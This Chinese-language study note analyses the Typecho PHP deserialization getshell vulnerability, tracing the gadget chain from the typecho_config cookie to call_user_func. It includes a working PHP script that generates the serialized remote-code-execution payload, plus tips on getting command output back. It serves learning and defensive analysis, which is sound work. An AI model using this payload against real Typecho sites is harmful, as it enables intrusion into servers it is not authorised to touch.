typecho 反序列化学习
typecho 是一个个人博客程序,前段时间爆出了一个反序列化getshell漏洞,漏洞很经典,所以从技术角度通过typecho漏洞来学习和记录一下php反序列化。
漏洞分析
如果发现了反序列化的漏洞点,很容易绕过前面的限制, TODO,来找一下如何对漏洞进行利用,如图是两个反序列化进行的地方,可以看到是从Cookie中取出typecho_config的值。然后base64解码,在进行反序列化操作。
所以现在有:
- 有反序列化函数
- 可控的输入
理解exp构造流程
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
config被Typecho_Db调用一次,addServer再调用一次
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
分别有字符串拼接和生成对象。对toString继续进行跟踪
在Typecho/Feed.php
中有对$item['xxx']
,$item['xxx']->yyy
,$this->xxx
等形式
在调用对象未定义或不可见的类属性或者方法时,会调用重载方法(php专属重载和其他语言不一样),如上对对象未定义或不可见的类属性时进行取值,会调用__get()
方法,
对get方法进行搜索在typecho/Request类中调用了_applyFilter($value)
在这个方法中使用call_user_func
,call_user_func($filter, $value)
完整exp
- 构造typecho/Request对象,参数
_filter
和_params
中含有call_user_func命令执行 函数 取$item[‘author’]就是typecho/Request对象 - 构造typecho/Feed对象
$adapterName = 'Typecho_Db_Adapter_' . $adapterName
调用了typecho/Feed的toString对象 - 构造referer和typecho_config等参数
- 构造exp需要注意一点:开启了ob_start的话会让脚本没有回显,同时我们的exp会触发自有的exception,调用了ob_end_clean方法清空了缓冲区,虽然会执行但是没有回显,有效解决方法,1.通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来,2.在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来,3.写一个文本shell
php生成typecho_config代码如下
<?php
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\'phpinfo();exit();\')');
private $_filter = array('assert');
}
$payload_request = new Typecho_Request();
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct ($payload_request){
$this->_items[] = array('author' => $payload_request);
}
}
$payload_Feed = new Typecho_Feed($payload_request);
$payload['adapter'] = $payload_Feed;
echo base64_encode(serialize($payload));
?>
ROP寻找思路
$config 是可控的反序列参数,1.寻找__destruct()
和__wakeup()
这两个方法中的危险函数。 2.按代码执行继续寻找
new Typecho_Db($config['adapter'], $config['prefix']);
在Typecho_Db构造函数中寻找危险操作
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; //字符串拼接
$this->_adapter = new $adapterName(); //构造新对象
寻找__toString()
,和__construct()
魔术化方法中危险操作
Typecho/Config.php serialize($this->_currentConfig)//对对象进行序列化
Typecho/Db/Query.php //字符串拼接等操作
Typecho/Feed.php this->xxx, $item['author']->screenName,$item['author']
serialize会调用__sleep()
魔术方法,当取类中未定义或者不可访问成员时会调用__get()
方法
class Typecho_Config implements Iterator
class IXR_Client
class Typecho_Plugin
class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do
class Typecho_Date
class Typecho_Request
abstract class Typecho_Widget
class Typecho_Widget_Helper_Layout
这些类中都有__get
方法,进行深搜等操作
public function __get($key)
{
return $this->get($key);
}
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
最后调用了危险函数 call_user_func
, 能够进行任意命令执行等操作
PHP魔术方法
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo()
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
参考链接
补充
toString使用的特殊场景
ph0神小密圈总结小tips:
对象tostring 被触发 常见的4个:
- echo($obj) / print($obj) 将其打印出来的时候
- “I am {$obj}” / ‘test ‘ . $obj 字符串连接
- sprintf(“I am %s”, $obj) 格式化字符串
- if($obj == ‘admin’) 与字符串进行==比较的时候(从此也可以印证,PHP进行==比较的时候会转换参数类型)
2个有趣的:
- 格式化SQL语句,绑定参数的时候会被调用,见图1
in_array($obj, ['admin', 'guest'])
,数组中有字符串的时候会被调用,见图2
in_array($obj, ['admin', 'guest'])
其实和if($obj == 'admin')
类似,原因是in_array的时候PHP会将$obj和数组中的每个参数进行==比较。
如果把第4个的==改成===,或者把in_array的第三个参数改成true,那么就不会进行类型转换了,也就不会调用__toString。
同理,switch case和in_array也一样。